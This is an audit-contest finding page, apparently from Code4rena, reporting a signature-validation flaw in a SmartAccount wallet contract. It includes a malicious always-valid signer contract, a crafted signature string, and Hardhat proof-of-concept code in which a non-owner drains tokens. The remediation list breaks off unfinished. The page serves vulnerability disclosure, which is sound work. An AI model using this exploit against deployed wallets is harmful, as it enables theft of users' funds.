Platform: Code4rena
Start Date: 04/01/2023
Pot Size: $60,500 USDC
Total HM: 15
Participants: 105
Period: 5 days
Judge: gzeon
Total Solo HM: 1
Id: 200
League: ETH
Rank: 101/105
Findings: 1
Award: $22.72
🌟 Selected for report: 0
🚀 Solo Findings: 0
22.7235 USDC - $22.72
Anyone using the SmartAccount
contract to host a 1/1 multisig may have their multisig operated by an attacker using a specially crafted signature. This would result in total loss from the SmartAccount
and any contracts allowing the SmartAccount
to perform privileged actions.
The issue can be reproduced using the following steps:
contract TestContract { function isValidSignature(bytes memory, bytes memory) external returns (bytes4) { return bytes4(0x20c13b0b); } }
testContract.address
)execTransaction
against the victim's SmartAccount
for a transaction that transfers all the contract's native currency and coins using the following signature (represented as it would be in a Hardhat test):"0x000000000000000000000000" + testContract.address.substring(2) + "0000000000000000000000000000000000000000000000000000000000000041000000000000000000000000000000000000000000000000000000000000000000"
This decodes to: r = uint256(testContract.address), s = uint256(65), v = uint8(0), (signature + s) -> bytes("")
Additionally, some Hardhat code has been provided to demonstrate the issue:
await token .connect(accounts[0]) .transfer(userSCW.address, ethers.utils.parseEther("100")); const safeTx: SafeTransaction = buildSafeTransaction({ to: token.address, data: encodeTransfer(charlie, ethers.utils.parseEther("10").toString()), nonce: await userSCW.getNonce(0), }); const transaction: Transaction = { to: safeTx.to, value: safeTx.value, data: safeTx.data, operation: safeTx.operation, targetTxGas: safeTx.targetTxGas, }; const refundInfo: FeeRefund = { baseGas: safeTx.baseGas, gasPrice: safeTx.gasPrice, tokenGasPriceFactor: safeTx.tokenGasPriceFactor, gasToken: safeTx.gasToken, refundReceiver: safeTx.refundReceiver, }; const tcf = await ethers.getContractFactory("TestContract"); let testContract = await tcf.deploy(); let signature = "0x000000000000000000000000" + testContract.address.substring(2) + "0000000000000000000000000000000000000000000000000000000000000041000000000000000000000000000000000000000000000000000000000000000000" // check the owner is accounts[0] (sanity check) expect(await userSCW.owner()).to.equal(accounts[0].address); // Use an account other than the owner await expect( userSCW.connect(accounts[1]).execTransaction( transaction, 0, // batchId refundInfo, signature ) ).to.emit(userSCW, "ExecutionSuccess"); expect(await token.balanceOf(charlie)).to.equal( ethers.utils.parseEther("10") );
Detection - Manual Review Demonstration - Hardhat
To resolve the issue, the SmartAccount contract should either:
#0 - c4-judge
2023-01-17T07:10:26Z
gzeon-c4 marked the issue as duplicate of #175
#1 - c4-sponsor
2023-01-26T00:08:35Z
livingrockrises marked the issue as sponsor confirmed
#2 - c4-judge
2023-02-10T12:28:32Z
gzeon-c4 marked the issue as satisfactory